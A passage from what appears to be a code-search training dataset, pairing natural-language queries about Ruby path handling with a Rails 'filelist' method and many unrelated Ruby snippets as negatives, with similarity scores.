"def elements_sorted_by_experience\n collection.sort_by{|person| person[:years_experience]}\n end",
"def gallaries\n paintings.map{|paint| paint.gallery}\n\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def year\n @year = params[:id].to_i\n date_format = \"'%Y'\"\n @speakers = generate_speaker_list_with_counts_for_date(@year,date_format,\"event_date\")\n end",
"def age\n cats = Cat.all\n ages = []\n\n cats.each do |cat|\n ages << Time.now.year - cat.birth_date.year\n end\n ages\n end",
"def find_years(current_id)\n find(:all, :conditions => [\"#{_(:id)} <= ?\",current_id]).collect{ |y| [y.description] }\n end",
"def get_years\n year = slice_year\n till_year = year.to_i - @past_years\n years = []\n year.to_i.downto(till_year) { |y| years << y }\n years\n end",
"def inspect\n \"the year is \" + humanize_list(@parts)\n end",
"def galleries\n paintings.map{|painting| painting.gallery}.uniq\n end",
"def list_cities\n list_galleries.map do |gallery|\n gallery.city\n end\n end",
"def getGEsToTake\n audit = Nokogiri::HTML(open(\"LuisAudit.html\"))\n genEds = audit.css('div.category_GENERAL_EDUC')\n genEdsToTake = []\n genEds.each do |node|\n course = node.css('div.reqTitle').text.gsub(/\\d+\\.\\s+GENED:\\s+/,\"\")\n credit = course[/(\\s*\\(\\d+\\s+[A-Z]+\\))|(\\s-.*)/]\n course.gsub!(/(\\s\\(.*)|(\\s-.*)/,\"\")\n unless course == \"\" || course == \"COLLEGE SURVEY\"\n course.gsub!(/\\//,\" or \")\n if course == \"NATURAL SCIENCE\"\n nsCourses = node.css('div.subrequirement')\n numToTake = 2 - nsCourses.css('span.Status_NONE').length/2\n numToTake.times { genEdsToTake << [course,5.0] }\n\n elsif (credit =~ /HOURS/) != nil\n hoursTaken = node.css('tr.takenCourse td.credit')\n totalHours = credit[/\\d+/].to_i\n hoursToTake = totalHours - (hoursTaken.reduce(0){|sum,i| sum+=(i.text.to_i)})\n unless hoursToTake == 0\n if hoursToTake % 3 == 0\n numToTake = hoursToTake/3\n numToTake.times { genEdsToTake << [course,3.0] }\n elsif hoursToTake % 5 == 0\n numToTake = hoursToTake/5\n numToTake.times { genEdsToTake << [course,5.0] }\n else\n genEdsToTake << [course,3.0]\n end\n end\n elsif (credit =~ /COURSES?/) != nil\n totalCourses = credit[/\\d+/].to_i\n numToTake = totalCourses - node.css('tr.takenCourse').length\n numToTake.times { genEdsToTake << [course,3.0] }\n end\n end\n end\n File.open(\"genEdsToTake.json\", 'w') do |s|\n s.print \"genEdsToTake = \\'{ \\\"genEds\\\":[\"\n genEdsToTake.each do|vArr|\n textJSON = \"{\\\"courseName\\\" : \\\"\" + vArr.first.to_s + \"\\\", \\\"credits\\\":\\\"\" + vArr.last.to_s + \"\\\"}\"\n unless vArr.object_id == genEdsToTake.last.object_id\n textJSON << \",\"\n end\n s.print textJSON\n end\n s.print \"]}\\'\"\n end\n end",
"def human_years\n age * DOG_YEARS\n end",
"def facet_year_group_for_solr\n result = \"\"\n years = associated_years\n logger.debug \"CHECKING: #{years}\"\n current_year = Time.now.year\n if years.length > 0\n #logger.debug \"YGFS:T1\"\n for year_string in years\n # logger.debug \"YGFS:T2\"\n year = year_string.to_i\n if year == current_year\n # logger.debug \"YGFS:T3 - current year match\"\n result << \"current \"\n elsif year == (current_year+1)\n # logger.debug \"YGFS:T4 - next year match\"\n result << \"next \"\n elsif year < (current_year)\n # logger.debug \"YGFS:T5 - previous years\"\n result << \"previous \"\n elsif year >> (current_year + 1)\n # logger.debug \"YGFS:T6 - future past next\"\n result << \"future \"\n end\n end\n #no years found\n else \n # logger.debug \"YGFS:T7 - none found\"\n result = \"none \"\n end\n \n # logger.debug \"YGFS: #{years} => #{result}\"\n result.strip.split(' ').uniq.sort.join(' ')\n end",
"def derive_authors_year\n add_author_year(author_year_string) \n end",
"def galleries\n galleries_array = paintings.map {|painting| painting.gallery}\n galleries_array.uniq\n end",
"def human_years \n age * DOG_YEARS\n end",
"def getClassYearItems\n items = DSpace.findByMetadataValue($year_metadata_field, $year, nil)\n $logger.info \"Select #{$year_metadata_field}=#{$year} in #{$root} found #{items.length} items\"\n items\nend",
"def galleries\n galleries = self.paintings.map do |pi|\n pi.gallery\n end\n galleries.uniq\n end",
"def contests(year)\n pc_results.joins(:c_result => :contest).where('year(contests.start) = ?', year).all\n end",
"def makeYearList(entries)\n # Find the range of the years\n years = entries.map {|entry| entry.year}\n entriesList = []\n years.max.downto(years.min) { |year|\n yearEntries = matchEntries(entries, \"year\", year)\n next if yearEntries.size == 0\n entriesList << [year, yearEntries]\n }\n entriesList\nend",
"def images artist\n url = \"http://developer.echonest.com/api/v4/artist/images?api_key=#{ECHONEST_API_KEY}&name=#{artist}&format=json&results=#{RESULTS}&start=0&license=unknown\"\n result = parseURL url\n result[\"response\"][\"images\"]\nend",
"def search genre, startyear, endyear\n url =\"http://developer.echonest.com/api/v4/artist/search?api_key=#{ECHONEST_API_KEY}&sort=hotttnesss-desc&format=json&style=#{genre}&artist_start_year_after=#{startyear}&artist_end_year_before=#{endyear}&results=#{RESULTS}\"\n result = parseURL url\n\nend",
"def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end",
"def artists_with_multiple_photographs\n artists = []\n @artists.each do |artist|\n @photographs.each do |photo|\n if artist[:id] == photo[:artist_id]\n artists << artist\n end\n end\n end\n artists\n end",
"def cities\n galleries.map do |c|\n c.city\n end\n end",
"def citations_list_years(search_key)\n entries = config.bibtex.query(search_key)\n\n years ||= []\n\n entries.each do |entry|\n next if entry.type == :string\n years |= [entry.year.to_i]\n end\n\n years.sort { |x, y| x.to_i <=> y.to_i}.reverse\n end",
"def year\n #movie_year = '2014'\n # @movie_year = params[:movie_year] # in order to be available in the view\n movies = search_query([], %[\n FILTER regex(?release_date, '^#{query_param(true)}')\n ])\n @groups = {nil => movies} unless movies.empty?\n render 'results', locals: {title: \"Movies released in #{query_param}\"}\n end",
"def all_galleries_featured_in\n my_galleries = self.all_my_paintings.map{|picture| picture.gallery}.uniq\n end",
"def cities\n self.galleries.map do |gi|\n gi.city\n end\n end",
"def photographs_taken_by_artist_from(country)\n photos_by_country = []\n @photographs.each do |photo|\n @artists.each do |artist|\n if photo[:artist_id] == artist[:id] && artist[:country] == country\n photos_by_country << photo\n end\n end\n end\n photos_by_country\n end",
"def real_study_years\n if finished?\n end_date = finished_on.to_time\n elsif absolved?\n end_date = disert_theme.defense_passed_on.to_time\n else\n end_date = Time.now\n end\n return (end_date - enrolled_on.to_time).div(1.year) + 1\n end",
"def photographs_taken_by_artist_from(country)\n artists_match_country = @artists.find_all do |artist|\n artist.country == country\n end\n photos = []\n @photographs.each do |photo|\n artists_match_country.each do |artist|\n if photo.artist_id == artist.id\n photos << photo\n end\n end\n end\n photos\n end",
"def calculate_most_common_year\n self.calculate_plays_by_year.sort_by{ |year, times_played| times_played }.last\n end",
"def galleries()\n self.paintings().map { | painting | painting.gallery }.uniq\n end",
"def parse_years_books year_books, year\n\t\t@doc.css('div.short-opis').each do |link|\n\t\t\tauthor = link.css('strong')[0].text.strip\n\t\t\ttitle = link.css('strong')[1].text.strip\n\t\t\tdescription = link.css('p').text.strip\n\t\t\t\n\t\t\tbook = Book.new(author, title, description, year)\n\t\t\tyear_books.push(book)\n\t\tend\n\tend",
"def years; self * YEAR; end",
"def get_year_ary\n (Date.today.year-99..Date.today.year).inject([]){|x,y| x << y}.reverse\n end",
"def list_gallery\n Galleries.all.each.with_index(1) { |gallery, i| puts \"#{i}. #{gallery.name}\"}\n end",
"def get_posts_for_year_and_tags\n posts = get_posts_for_year\n posts = get_posts_for_tags posts\n posts\n end",
"def inspect\n \"the year is \" + humanize_list(@years)\n end",
"def big_year_species\n @species_list = []\n Categories::Order.all.order(:position).each do |order|\n Categories::Family.where(parent_id: order.id).order(:position).each do |family|\n species = Species.joins(birds: :user)\n .where(\"(birds.published = 'true') AND (birds.species_id IS NOT NULL) AND (birds.expert_id IS NOT NULL)\")\n .where(users: { :big_year => 'true' })\n .where('EXTRACT(year FROM birds.timestamp) = ?', 2015)\n .where('EXTRACT(year FROM birds.created_at) = ?', 2015)\n .where(category_id: family.id)\n .distinct('species.id')\n .order(:position)\n @species_list = @species_list + species\n end\n end\n end",
"def get_all_ages\n LOG.info(\"Retrieving stats...\")\n movies = get_now_showing_movies\n movies.map do |mov|\n mov[:date] = get_movie_show_date(mov)\n cast = get_movie_cast(mov)\n LOG.debug(\"Movie has #{cast.count} member(s)\")\n ages = cast.map {|c| get_cast_member_age(c, mov)}\n ages = ages.inject([]) {|t,a| t << a if a; t} # clean out nils\n LOG.debug(\"Ages were found for #{ages.count} out of #{cast.count} member(s).\")\n if ages.count == 0\n LOG.info(\"Movie (#{mov[:name]}) has no cast members with known birthdates\")\n mov[:avg] = \"n/a\"\n else\n mov[:avg] = (ages.inject {|t,a| t + a }) / ages.count\n end\n mov\n end\nend",
"def years_needed\n 30\n end",
"def years() 365 * days end",
"def index\n @team_years = TeamYear.all\n\n #\n ## Get TeamYears grouped by year\n #\n @year_groups = {}\n\n # get unique team_years\n @yrs = @team_years.map{|ty| ty.year }.uniq!\n # for each unique season\n @yrs.each{|yr|\n # create the array we'll feed the final hash\n @year_bucket = []\n # for each team_season in each year\n @team_years.where( year: yr).each{|row|\n @year_bucket << row.attributes\n }\n @year_groups[yr.to_sym] = @year_bucket#.sort_by{|hsh| -hsh[:year] }\n }\n\n\n end",
"def galleries\n galleries = []\n Dir.glob(\"#{@options.cache_dir}/*\").each do |path| \n name = path.split('/').last\n puts name\n gallery = {}\n gallery[:title] = name.gsub(/[_]/, ' ').capitalize\n puts (gallery[:path] = \"gallery/#{name}\")\n thumb = Dir.glob(\"#{path}/*/thumb.*\").first\n thumb = Dir.glob(\"#{path}/*/*.*\").first unless thumb # else take the first image.\n thumb = thumb.split('/').last\n puts (gallery[:thumb] = \"image/m/#{name}/#{thumb}\")\n galleries << gallery\n end\n galleries\n end",
"def gallery\n @galleries = Gallery.all\n end",
"def publication_year\n end",
"def dog_years(human_years)\n human_years * 7\n end",
"def get_all_gold_medalists(olympic_data)\n gold_arr = []\n olympic_data.each do |athlete|\n if athlete[\"Medal\"] == \"Gold\"\n gold_arr << athlete\n end\n end\n return gold_arr\nend",
"def artists\n songs.collect do |song|\n song.artist\n end\n .uniq #does not return duplicate artists if the genre has more than one song by a particular artist (genre has many artists through songs)\n end",
"def dog_years(year)\n\t\tp year*7\n\tend",
"def cities\n galleries.map{|gallery| gallery.city}.uniq\n end",
"def cities\n self.galleries.map{|painitng| painitng.city}\n end",
"def cities()\n self.galleries().map { | gallery | gallery.city }.uniq\n end",
"def photographs_taken_by_artists_from(country)\n country_by_artist = @artists.find_all do |artist|\n artists.first[:country] == country\n end\n @photographs.find_all do |photos|\n photos[:id] == country_by_artist[:id]\n end\n # require 'pry'; binding.pry\n end",
"def dog_years (human_years)\n human_years * 7\n end",
"def get_api_gallery_ctas_carousel\n get_gallery_ctas_carousel_aux(\"api\") do |galleries, gallery_tag_ids|\n gallery_carousel = []\n galleries.each do |gallery|\n gallery_carousel << cta_to_content_preview(gallery)\n end\n gallery_carousel\n end\n end",
"def extract_years(dates)\n dates.flat_map{ |date| extract_year(date) }.uniq\n end"
] |
[
"0.7192972",
"0.6713446",
"0.66727674",
"0.6149172",
"0.6092315",
"0.6054275",
"0.59626925",
"0.5913976",
"0.5886037",
"0.58797723",
"0.58524334",
"0.58416635",
"0.58244646",
"0.57938164",
"0.5738189",
"0.57098246",
"0.5699748",
"0.5679076",
"0.5664378",
"0.5627878",
"0.5624507",
"0.56211233",
"0.5617764",
"0.5617764",
"0.5607826",
"0.5598819",
"0.5598819",
"0.55918133",
"0.55825377",
"0.55581397",
"0.55555487",
"0.55419636",
"0.5513402",
"0.5513402",
"0.5513402",
"0.5505246",
"0.548204",
"0.54681325",
"0.5462642",
"0.5413109",
"0.54052556",
"0.53959954",
"0.53959954",
"0.53959954",
"0.53948665",
"0.53829306",
"0.53775275",
"0.5371581",
"0.5369535",
"0.5358346",
"0.53476644",
"0.53295314",
"0.53253305",
"0.5322663",
"0.53132385",
"0.5312545",
"0.5311686",
"0.5306706",
"0.5293481",
"0.529315",
"0.52821076",
"0.52727324",
"0.5268215",
"0.5264003",
"0.52616775",
"0.5252873",
"0.52459353",
"0.5234746",
"0.5228807",
"0.52125233",
"0.5211588",
"0.52021176",
"0.5193757",
"0.51897174",
"0.518902",
"0.5184016",
"0.51717925",
"0.5165024",
"0.516227",
"0.5158272",
"0.5157542",
"0.51515484",
"0.5148352",
"0.5143369",
"0.5135626",
"0.51330864",
"0.5131716",
"0.5127209",
"0.51230377",
"0.5116215",
"0.51161057",
"0.51160884",
"0.51147574",
"0.5108958",
"0.51088536",
"0.5108826",
"0.5104099",
"0.51039207",
"0.5102661",
"0.509646"
] |
0.66978794
|
2
|
check absolute_path to modify result of roo
|
def filelist
puts_message "filelist start"
user = current_user
request = params[:request].force_encoding("UTF-8")
puts_message "Requested Path: " + params[:request]
if user and check_existance_of_path(request)
if request == nil
@file_names = 'error'
elsif request_is_directory?(request)
fire_the_list(request)
# @file_names = absolute_path(request)
elsif request_is_file?(request)
last = request.split('/').last
path = absolute_path(request)
send_file_info(last, request)
else
@file_names = 'error'
end
else
@file_names = 'error'
end
puts_message "filelist end"
@output = <<-END
END
if request == "/images/"
@folders = Folder.all(:user_id => current_user.id)
@output << "photo" + "\n"
@folders.each do |f|
@output << f.name + "\n"
end
@file_names = @output
end
return @file_names
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def absolute?(path); end",
"def absolute?\n #%r{\\A/} =~ @path ? true : false\n @absolute\n end",
"def absolute?(path) \n p = get(path) \n File.absolute_path(p, \".\") == p # rbx\n end",
"def absolute?(path)\n !relative?(path)\n end",
"def filepathFromAbsOrRel(absOrRel)\n if(absOrRel[\"isRelative\"].to_i != 0) then\n adir = Pathname.new(File.dirname($filepathYaml)).join(absOrRel[\"path\"])\n else\n Pathname.new(absOrRel[\"path\"])\n end\nend",
"def absolute_path?\n PathUtils.absolute_path?(path)\n end",
"def convert_glob_to_absolute(glob); end",
"def absolute_path(path)\n path = Pathname.new(path)\n return Pathname.new(@config.base_path) + path unless path.absolute?\n path\n end",
"def abs_path\n @abs_path ||= \n owner &&\n begin\n @abs_path = EMPTY_ARRAY # recursion lock.\n\n x = path.map { | dir | File.expand_path(expand_string(dir), owner.base_directory) }\n\n arch_dir = arch_dir_value\n if arch_dir\n # arch_dir = [ arch_dir ] unless Array === arch_dir\n x.map! do | dir |\n if File.exist?(dir_arch = File.join(dir, arch_dir))\n dir = [ dir_arch, dir ]\n # $stderr.puts \" arch_dir: dir = #{dir.inspect}\"\n end\n dir\n end\n x.flatten!\n\n # $stderr.puts \" arch_dir: x = #{x.inspect}\"\n end\n\n if remove_non_existant_paths\n x.reject! { | p | ! File.exist?(p) }\n end\n\n @abs_path = x\n end\n end",
"def absolute?; end",
"def absolute?(path)\n %r{\\A/} =~ path ? true : false\n end",
"def rto(a, b)\n\tPathname.new(File.join a, '..', b).cleanpath.to_s\nend",
"def accessing_absolute_path(path)\n return true if path.start_with?('/')\n\n false\n end",
"def real_path(aPath)\n\t\t\t\t(path = Pathname.new(::File.expand_path(aPath))) && path.realpath.to_s\n\t\t\tend",
"def full_path=(_arg0); end",
"def absolute_path(path, reference = @pwd)\n path = File.expand_path(File.join(reference, path)) unless path.start_with? '/'\n path\n end",
"def fullpath; end",
"def path_is_absolute(path)\n # Check to see if the path is a stream and check to see if its an actual\n # path or file as realpath() does not support stream wrappers.\n return true if (wp_is_stream(path) && (File.directory?(path) || File.file?(path)))\n\n # This is definitive if true but fails if $path does not exist or contains a symbolic link.\n require 'pathname'\n return true if Pathname.new(path).realpath.to_s == path\n\n return false if path.length == 0 || path[0] == '.'\n\n # Windows allows absolute paths like this.\n return true if path.match?(/^[a-zA-Z]:\\\\\\\\/)\n\n # A path starting with / or \\ is absolute; anything else is relative.\n path[0] == '/' || path[0] == '\\\\'\n end",
"def rel_to(path)\n path = path + '/' unless path.end_with?('/')\n if rel.start_with?(path)\n rel.sub(path, '')\n else\n raise \"#{@abs} is not in #{path}\"\n end\n end",
"def absolute_path\n if is_url?\n # Use the last path component without the query string plus the name\n # of the resource in Base64. This should be both mildly readable and\n # also unique per invocation.\n url_part = URI(path).path.split(/\\//).last\n base64_name = Base64.strict_encode64(name).gsub(/\\=/, '')\n ::File.join(Chef::Config[:file_cache_path], \"#{base64_name}_#{url_part}\")\n else\n ::File.expand_path(path, Chef::Config[:file_cache_path])\n end\n end",
"def check_path_for_danger_to_remove path\n absolute_path = File.expand_path(path).strip \n if absolute_path.blank? || absolute_path == '/'\n raise \"Removing '#{absolute_path}' is too dangerous.\"\n end\n end",
"def absolute?\n @uri.absolute?\n end",
"def get_absolute_path(file)\n File.expand_path file\nend",
"def absolute?\n !relative?\n end",
"def absolute?\n\t\t!relative?\n\tend",
"def absolute_path? path\n (path.start_with? SLASH) || (@file_separator == BACKSLASH && (WindowsRootRx.match? path))\n end",
"def relative_to_absolute(path)\n if Pathname.new(path).absolute?\n Pathname.new(path)\n else\n Pathname.new(\"#{Pathname.pwd}/#{path}\")\n end\n end",
"def absolute_path?(path)\n case path[0,1]\n when '/', '~', '.'\n File.expand_path(path)\n else\n false\n end\n end",
"def relative?; !absolute?; end",
"def absolutepath\n if absolute?\n self\n elsif to_s == \".\"\n realpath\n else\n parent.absolutepath + self.basename\n end\n end",
"def absolute?; !scheme.nil?; end",
"def original_fullpath; end",
"def read_file(absolute_path); end",
"def reference(absolute = true)\n absolute ? r_abs : r\n end",
"def path=(_arg0); end",
"def path=(_arg0); end",
"def path=(_arg0); end",
"def path=(_arg0); end",
"def path=(_arg0); end",
"def abspath(file)\n File.absolute_path(file)\nend",
"def cleaned_relative_path; end",
"def cleaned_relative_path; end",
"def absolute; end",
"def absolute_path(options = {})\n if !@absolute_path\n # Pre-conditions\n raise ArgumentError.new(\"No document root set\") if @document_root.nil?\n\n @absolute_path = filename.sub(%r{^#@document_root}, '').sub(/^\\/?/, '/')\n @absolute_path = \"#{Juicer::Asset::Path.host_with_scheme(options[:host])}#@absolute_path\"\n end\n\n path_with_cache_buster(@absolute_path, options)\n end",
"def MakeAbsolute()\n return ProjectPath.new(AbsolutePath())\n end",
"def relative?\n not absolute?\n end",
"def initialize path\n @absolute_path = File.expand_path(path)\n end",
"def convert_path(base: self.class.pwd, mode: :clean, checkdir: false)\n\t\t\t\tcase mode\n\t\t\t\twhen :clean\n\t\t\t\t\tcleanpath\n\t\t\t\twhen :clean_sym\n\t\t\t\t\tcleanpath(consider_symlink: true)\n\t\t\t\twhen :rel\n\t\t\t\t\trel_path(base: base, checkdir: checkdir)\n\t\t\t\twhen :relative\n\t\t\t\t\trel_path(base: base, checkdir: checkdir) unless self.relative?\n\t\t\t\twhen :absolute,:abs\n\t\t\t\t\tabs_path(base: base, mode: :abs)\n\t\t\t\twhen :abs_clean\n\t\t\t\t\tabs_path(base: base, mode: :clean)\n\t\t\t\twhen :abs_cleansym\n\t\t\t\t\tabs_path(base: base, mode: :cleansym)\n\t\t\t\twhen :abs_real\n\t\t\t\t\tabs_path(base: base, mode: :real)\n\t\t\t\twhen :abs_realdir\n\t\t\t\t\tabs_path(base: base, mode: :realdir)\n\t\t\t\telse\n\t\t\t\t\tself\n\t\t\t\tend\n\t\t\tend",
"def full_path\n must_be File\n File.realpath(self.path)\n end",
"def normalize_path(path); end",
"def normalize_path(path); end",
"def realpath(*args)\n unless args.empty?\n warn \"The argument for Pathname#realpath is obsoleted.\"\n end\n force_absolute = args.fetch(0, true)\n\n\t\t# XXX: see http://wiki.rubyonrails.com/rails/pages/Gotcha\n is_absolute = %r{\\A/}\n\t\ttop = '/'\n\t\tif Config::CONFIG['arch'] =~ %r{mswin32}i\n\t\t\tis_absolute = %r{\\A[A-Za-z]:/}\n\t\t\ttop = ''\n\t\tend\n if is_absolute =~ @path\n unresolved = @path.scan(%r{[^/]+})\n elsif force_absolute\n # Although POSIX getcwd returns a pathname which contains no symlink,\n # 4.4BSD-Lite2 derived getcwd may return the environment variable $PWD\n # which may contain a symlink.\n # So the return value of Dir.pwd should be examined.\n unresolved = Dir.pwd.scan(%r{[^/]+}) + @path.scan(%r{[^/]+})\n else\n top = ''\n unresolved = @path.scan(%r{[^/]+})\n end\n resolved = []\n\n until unresolved.empty?\n case unresolved.last\n when '.'\n unresolved.pop\n when '..'\n resolved.unshift unresolved.pop\n else\n loop_check = {}\n while (stat = File.lstat(path = top + unresolved.join('/'))).symlink?\n symlink_id = \"#{stat.dev}:#{stat.ino}\"\n raise Errno::ELOOP.new(path) if loop_check[symlink_id]\n loop_check[symlink_id] = true\n if %r{\\A/} =~ (link = File.readlink(path))\n top = '/'\n unresolved = link.scan(%r{[^/]+})\n else\n unresolved[-1,1] = link.scan(%r{[^/]+})\n end\n end\n next if (filename = unresolved.pop) == '.'\n if filename != '..' && resolved.first == '..'\n resolved.shift\n else\n resolved.unshift filename\n end\n end\n end\n\n if top == '/'\n resolved.shift while resolved[0] == '..'\n end\n \n if resolved.empty?\n Pathname.new(top.empty? ? '.' : '/')\n else\n Pathname.new(top + resolved.join('/'))\n end\n end",
"def full_path; end",
"def PathAbsolute?(path)\n if(!path)\n return false\n end\n \n return path.match(\"^(([A-Za-z]:)|(\\/))\") != nil\n end",
"def fix_link_path(absolute_path, link)\r\n\t\tabsolute_path += \"/\" if !absolute_path.end_with?(\"/\") && !link.start_with?(\"/\")\r\n\t\tabsolute_path + link\r\n\tend",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def absolute?\n @is_absolute\n end",
"def set_realpath\n return super if Node.source.eql?(:node) || persisted?\n\n # binding.pry\n path_n = Pathname.new(path)\n path_n.mkdir unless path_n.exist?\n super\n end",
"def relative_path(from, to); end",
"def test_03f\r\n rel_root = '/crazy/http/alias'\r\n db = build(rel_root)\r\n nm = db.fetch('image-1.jpg' )\r\n assert_equal File.join(rel_root,'originals','image-1.jpg'),nm\r\n nm = db.fetch('image-1.jpg',:absolute => true )\r\n assert_equal File.join(db.root,'originals','image-1.jpg'),nm\r\n end",
"def full_path\n self.read_attribute(:full_path) || self.assign_full_path\n end",
"def absolute_path(show_full_path=nil)\n if show_full_path.nil?\n @absolute_path\n else\n self.absolute_path = show_full_path\n end\n end",
"def normalized_path(file); end",
"def append_to_home_if_not_absolute( p )\n path = Pathname.new( p )\n unless path.absolute? then\n path = Pathname.new( home_dir ) + path\n end\n return path.to_s\n end",
"def cleanpath_aggressive\n # cleanpath_aggressive assumes:\n # * no symlink\n # * all pathname prefix contained in the pathname is existing directory\n return Path::Name.create([],@absolute,@trail) if path.empty?\n absolute = absolute?\n trail = trail?\n names = []\n @path.each {|name|\n next if name == '.'\n if name == '..'\n if names.empty?\n next if absolute\n else\n if names.last != '..'\n names.pop\n next\n end\n end\n end\n names << name\n }\n return Path::Name.new(absolute ? '/' : '.') if names.empty?\n #path = []\n #path << '' if absolute\n #path.concat(names)\n Path::Name.create(names, absolute) #, trail)\n end",
"def absolute?\n return @absolute unless @absolute.nil?\n read_chars = \"\"\n tokens.each do |token|\n if token.expression?\n read_chars << \"x\"\n elsif token.literal?\n read_chars << token.string\n end\n if read_chars =~ /^[a-z]+:\\/\\//i\n return @absolute = true\n elsif read_chars =~ /(^|[^:\\/])\\/(?!\\/)/\n return @absolute = false\n end\n end\n\n return @absolute = false\n end",
"def path_set(path)\n absolute_path = (Pathname.new(uri.path) + path).to_s\n rebuild_uri :path => absolute_path\n end",
"def convert_glob_to_absolute(glob)\n File.join(repo_root, glob)\n end",
"def absolute_path(relative_path)\n quoted_string(File.expand_path(File.join(File.dirname(options[:filename]), relative_path.value)))\n end",
"def user_path?(file); end",
"def is_absolute_part(part)\n part.strip.starts_with?('/') || part.strip.starts_with?('\\\\') ||\n part.strip =~ /^[A-Za-z]:([\\/\\\\])?/\n end",
"def _absolute(root) # :nodoc:\n return self unless root\n HRX::File._new_without_checks(root + path, content, comment)\n end",
"def absolute(file)\n if File.directory?(full_path)\n File.join(full_path, file)\n else\n full_path\n end\n end",
"def path=(new_path)\n super\n if new_path[0..0] != '/' # addressable adds a / but scp-style uris are altered by this behavior\n @path = path.sub(%r|^/+|,'')\n @normalized_path = nil\n validate\n end\n path\n end",
"def absolute_path(workspace_dir_path)\n workspace_dir_path = workspace_dir_path.to_s\n case type\n when 'group', 'container', 'self'\n File.expand_path(File.join(workspace_dir_path, path))\n when 'absolute'\n File.expand_path(path)\n when 'developer'\n raise \"Developer workspace file reference type is not yet supported (#{path})\"\n else\n raise \"Unsupported workspace file reference type `#{type}`\"\n end\n end",
"def on_absolute_path(ast_node, context)\n if @document.respond_to?(:root_node)\n context = XML::NodeSet.new([@document.root_node])\n else\n context = XML::NodeSet.new([@document])\n end\n\n # If the expression is just \"/\" we'll just return the current context.\n return ast_node.children.empty? ? context : on_path(ast_node, context)\n end",
"def modified?(path); end",
"def path=(_); end",
"def path=(_); end",
"def path=(_); end",
"def path=(_); end",
"def path=(_); end",
"def path=(_); end",
"def copy_to(relpath, abspath)\n end",
"def absolute?\n @absolute\n end",
"def execute \n if(@hasExecuted==false and (not File::directory?(@newPath)))\n FileUtils.cp_r(@ogPath, @newPath)\n FileUtils::rm_r(@ogPath)\n @hasExecuted=true\n end\n end",
"def is_absolute_iri? m\n URI.parse(m).absolute? rescue false\n end",
"def is_absolute_iri? m\n URI.parse(m).absolute? rescue false\n end",
"def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"def initialize(ruta)\n @abs_path = ruta\n end",
"def from_path=(_arg0); end",
"def from_path=(_arg0); end",
"def relative?\n !absolute?\n end",
"def to_absolute(link)\n return nil if link.nil?\n\n # remove anchor\n link = link.to_s.gsub(/#.*$/,'')\n if Gem::Requirement.new('< 2.5').satisfied_by?(Gem::Version.new(RUBY_VERSION))\n link = URI.encode(URI.decode(link))\n end\n\n relative = URI(link)\n absolute = base ? base.merge(relative) : @url.merge(relative)\n\n absolute.path = '/' if absolute.path.empty?\n\n return absolute\n end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end"
] |
[
"0.67208964",
"0.6140665",
"0.6049132",
"0.5910716",
"0.5876765",
"0.585822",
"0.5823163",
"0.5760523",
"0.57229203",
"0.57116807",
"0.56376535",
"0.5616725",
"0.56144226",
"0.561005",
"0.55938894",
"0.55535156",
"0.5550321",
"0.5520811",
"0.5497348",
"0.54955393",
"0.54723823",
"0.5449973",
"0.54388916",
"0.5430784",
"0.5423937",
"0.54129744",
"0.54089314",
"0.53936994",
"0.53914976",
"0.5387184",
"0.53424066",
"0.5339688",
"0.53378624",
"0.53371876",
"0.53349316",
"0.53349316",
"0.53349316",
"0.53349316",
"0.53349316",
"0.5330199",
"0.53257895",
"0.53257895",
"0.53191257",
"0.531473",
"0.53082025",
"0.53069913",
"0.52999866",
"0.52986556",
"0.52890843",
"0.5276192",
"0.5276192",
"0.52734107",
"0.52696633",
"0.52574164",
"0.52573967",
"0.5218795",
"0.5218795",
"0.5215773",
"0.5215269",
"0.5210531",
"0.5210282",
"0.5206993",
"0.5205393",
"0.51974213",
"0.51835084",
"0.5182152",
"0.5176164",
"0.5172896",
"0.5171222",
"0.51212585",
"0.51203114",
"0.51115614",
"0.51110613",
"0.5102088",
"0.5099012",
"0.5094816",
"0.50870526",
"0.5086298",
"0.50860894",
"0.50860894",
"0.50860894",
"0.50860894",
"0.50860894",
"0.50860894",
"0.50834334",
"0.5081726",
"0.50797254",
"0.5065079",
"0.5065079",
"0.5054614",
"0.5054614",
"0.5052594",
"0.5045812",
"0.5045812",
"0.5033772",
"0.50280863",
"0.5023664",
"0.5023664",
"0.5023664",
"0.5023664",
"0.5023664"
] |
0.0
|
-1
|
used at filelist for checking existance of the path
|
def check_existance_of_path(path)
if not path == nil
question = absolute_path(path)
File.exists?(question)
else
nil
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_exists?(path)\n end",
"def exists? path\n end",
"def dir_entry_exists(path)\n files = session.fs.dir.entries(path)\n rescue\n return nil\n else\n return path\n end",
"def file_exists\n end",
"def exist; File.exist?(@fname); end",
"def file_exists?(path)\n result = transport.execute(\"ls -d #{path}\", :read_only => true)\n result.exitstatus == 0 && result.stdout != ''\n end",
"def exists?\n File.exists? path\n end",
"def exist?\n File.exist?(@path)\n end",
"def file_exists?(path)\n result = transport.execute(\"ls -d #{path}\")\n result.exitstatus == 0 && result.stdout != ''\n end",
"def directory_exists?(path)\n end",
"def exists?(path)\n files.include?(path)\n end",
"def user_path?(file); end",
"def strict_file_exists?(path)\n directory = `dirname #{path}`.chomp\n name = `basename #{path}`.chomp\n !`find \"#{directory}\" -name \"#{name}\"`.empty?\n end",
"def file_exist?(path)\n exist?(path) && is_file?(path)\n end",
"def file_exists?\r\n File.file?(full_path)\r\n end",
"def exists?\n File.exist?(@path)\n end",
"def exist?( path )\r\n File.exist?(path)\r\n end",
